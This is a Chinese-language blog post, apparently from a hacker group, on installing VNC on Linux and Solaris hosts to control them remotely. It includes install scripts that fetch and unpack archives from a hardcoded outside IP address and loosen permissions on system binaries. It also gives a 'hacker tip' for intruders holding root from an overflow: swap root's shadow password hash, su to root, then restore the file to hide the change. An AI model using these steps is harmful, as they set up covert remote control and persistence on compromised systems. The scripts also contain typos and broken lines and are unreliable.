前段时间我们敬爱的榕哥写了远程安装vnc的文章,本来我以为他会接着写linux下的vnc安装,但却没了下文。由于以前我和x-laser研究过unix下的vnc安装,所以,今天就把一点心得写出来,错误之处,还请高手指正。
首先要来介绍一下vnc这个软件。国内对于vnc的研究比较少,只是到最近小榕才推广了一下,可是,对其强大的功能,也只是利用了一小部分。vnc是Virtual Network Computing的简称。的专门负责vnc开发的开发小组开发的。
vnc有点类似win2000的终端服务,相对于其他的远程控制软件,主要体现了五个优点。
1.vnc远程控制时,客户端的任何异常事故不会对服务端造成影响,就是说,如果你正在用vnc远程控制一台主机,你突然死机了,再用vnc连时,可以继续进行刚才的操作.
2.vnc的控制端很小,而且不需要任何安装,是居家旅行时的必备良药 :)而且vnc有java的控制端,不需要用任何其他工具,用浏览器就可以直接控制,比如ie或netscape
3.vnc实现了真正的跨平台,你可以在unix下控制windows,或者是在unix下控制windows,并不依赖操作平台是vnc最大的特色和优点.在本文中,我们将演示如何用windows来控制linux和solaris.
4.一个桌面可以同时被多个用户使用:)类似win2000终端的管理中的连接功能,交流非常方便,可做教学之用:)
5.vnc符合GNU风格,开放原代码,这是最大的好处,当然vnc的exploit在packetstorm上也可以找到.
vnc的控制原理也可以用下图方便的表示
vnc viewer<-------------------------->Xvnc(vnc server)<--------------------------->applications
(vnc protocal) (X protocal)
这个控制是基于tcp/ip的,其中vnc server扮演了双重角色.vnc protocal是基于RFB protocal的,有兴趣的可以参照作者主页.这里不再赘述.
说了这么多了,现在就让我们开始动手来安装吧!首先以linux下的安装为例,我们可以用windows来控制linux的x-window. :)
把包传到linux的/tmp目录下(这里以/tmp为例,你也可以更换到其他的合适目录)
用tar命令解压缩,会得到一个vnc_x86_linux_2.0的目录
cd vnc_x86_linux_2.0进入后,接下来需要做的就是拷贝一些文件
首先我们
mkdir -p /usr/local/bin/vnc/classes建立一个目录
再
cp classes/* /usr/local/bin/vnc/classes
接着再
mv vncpasswd /usr/bin
mv vncserver /usr/bin
mv vncviewer /usr/bin
mv Xvnc /usr/bin
vncpasswd是设置vnc的控制密码,vncserver是安装脚本,vncviewer是主控端,Xvnc就是上面协议里的那个了.这里我们做的主要就是把软件包的classes目录移到/usr/local/bin/vnc目录下面,然后把vncpasswd,vncserver,vncviewer,Xvnc这几个配置的文件放到/usr/bin这个目录,这里最重要的就是vncserver和Xvnc这两个文件。
然后我们需要修改一下xstartup这个脚本.位置在/tmp/.vnc下,我们修改他来使用kde启动,如果有kde的话 :)因为默认是twm启动,用kde比较漂亮 :)
修改如下
echo "xrdb $HOME/.Xresources" >>xstartup
这句是让xrdb创建.Xresources文件
echo "xsetroot -solid grey" >>xstartup
echo 'xterm -geometry 80x24+10+10 -ls -title "$VNCDESKTOP Desktop" &'>>xstartup
这句是设置屏幕解析度和到文件
echo "startkde &" >>xstartup
这句是以kde启动
然后我们再用vncserver启动即可了 :)这样再用vncviewer连,输入密码后就可以看到漂亮的kde桌面了.
X-laser给我们写了一个本地安装vnc的脚本
------------------------------cut here----------------------------------------------------------
#!/bin/sh
echo "This vnc install(rdehat *)"
echo "author:X-Laser"
echo "这里是幻影旅团()"
echo " 中国刺客网()"
lynx -dump /vnc.tgz >/tmp/.vnc.tgz
if chmod 777 /usr/X11R6/bin/twm
then
echo "checke x-server ok"
else
lynx -dump 61.153.9.166/bin.tar >/usr/X11R6/
lynx -dump 61.153.9.166/lib.tar >/usr/X11R6/
tar -xvf /usr/X11R6/bin.tar
tar -xvf /usr/X11R6/lib.tar
fi
cd /tmp;tar -zxvf .vnc.tgz;
mkdir .sh
cd vnc_x86_linux_2.0
cp /usr/X11R6/bin/xauth /usr/bin; chmod 777 /usr/bin/xauth
mkdir -p /usr/local/vnc/classes
mkdir -p $HOME/.vnc
mkdir twm
cp classes/* /usr/local/vnc/classes
mv vncpasswd /usr/bin
mv vncserver /usr/bin
mv vncviewer /usr/bin
mv Xvnc /usr/bin
echo "请输入选择的启动的界面 "
echo "twm 界面,简陋型"
echo "kde 标准界面"
read vncgui
if cd $vncgui
then
echo "您选择了twm界面"
else
"您已经选择了kde标准界面"
cd $HOME/.vnc
echo "#!/bin/sh" >xstartup
echo "" >>startup
echo "xrdb $HOME/.Xresources" >>xstartup
echo "xsetroot -solid grey" >>xstartup
echo 'xterm -geometry 80x24+10+10 -ls -title "$VNCDESKTOP Desktop" &'>>xstartup
echo "startkde &" >>xstartup
fi
echo "请输入密码 长度5或者位以上"
vncserver
echo "您的vnc服务端口"
netstat -an |grep 590
echo "您的http连接vnc端口"
netstat -an |grep 580
echo "安装程序结束"
-------------------------------------------cut here------------------------------------------
注意事项,由于vnc安装时与环境变量密切相关,所以请以正常用户安装(建议以root权限安装,这样有时候很多权限不够的问题可以避免)如果是以溢出后的uid=0的权限或者是suid的euid=0的权限来安装,都有可能遇到环境变量的问题.
黑客的小技巧:黑客入侵的后,可以用溢出的uid=0或euid=0的权限通过修改shadow的方法来改变root的密码,然后su到root,这样就不会有环境变量的问题了.具体实现如下
1.先建立一个用户,再用passwd修改密码
2.把shadow备份,然后把shadow中root的密码的hash替换成自己刚建立的用户的密码的hash,然后再su到root,进行操作
3.操作完成,退出root,再把刚才备份的替换回来.
安装好后,会有两个端口,一个是590x,一个是580x.因为安装时端口不是固定的.590x的端口是服务连接端口,而580x绑定了applet小程序,用web连接此端口会自动运行applet,从而达到网页访问效果,就是我前面提到的可以用浏览器来控制一样,最大限度的实现了跨平台。
现在我们来讲vnc在solaris下的安装,安装过程与在linux下安装几乎是一模一样的.不同的是sunos需要自己把包传到/tmp目录下,而linux下的安装则由脚本控制lynx自动下载,因为很多sunos都没lynx的缘故。同样在安装过程中需要root身份安装(不仅仅是uid=0哦!!)x-laser也为我们写了个本地安装的脚本
----------------------------------------cut here---------------------------------------------
#安装时请以root权限安装
#!/bin/sh
echo "This vnc install(sunos ALL *)"
echo "author:X-Laser"
echo "这里是幻影旅团()"
echo " 中国刺客网()"
if chmod 777 /usr/openwin/bin/xauth
then
echo "ok vnc -install start"
tar -xvf sunos.tar
cd vnc_sun4_sosV_5.5
mkdir -p /usr/local/vnc/classes
cp calsses/* /usr/local/vnc/classes
mv vncserver /usr/bin
mv vncviewer /usr/bin
mv Xvnc /usr/bin
mv vncpasswd /usr/bin
cp /usr/openwin/bin/* /usr/bin
cp /usr/openwin/lib/* /usr/bin
mkdir -p $HOME/.vnc
echo "#!/bin/sh" >$HOME/.vnc/xstartup
echo "" >>$HOME/.vnc/xstartup
echo "xrdb $HOME/.Xresources" >>$HOME/.vnc/xstartup
echo "xsetroot -solid grey" >>$HOME/.vnc/xstartup
echo 'xterm -geometry 80x24+10+10 -ls -title "$VNCDESKTOP Desktop" &' >>$HOME/.vnc/xstartup
echo "/usr/dt/bin/dtsession & " >>$HOME/.vnc/xstartup
vncserver
echo "请输入密码,长度5位或5位以上"
echo "next vnc start port"
netstat -a |grep 590
echo install over
else
echo 您的X11R6文件不全,请把其他机器的openwin,cp到/usr/openwin/bin/里
fi
--------------------------------------cut here----------------------------------------------
vnc还可以在各种其他的系统下安装,比如aix,freebsd等,但是安装还在测试中,到时候我们会再出些安装脚本。
说了这么多都还只是安装下面讲控制。控制有两种方式
1.用浏览器控制。比如说192.168.0.1是被控端,vnc开了两个端口5801和5901。那么我们在浏览器的地址栏里然后就会自动下载applet的控制程序,输入密码之后,就可以看见x-window
阅读(1009) | 评论(0) | 转发(0) |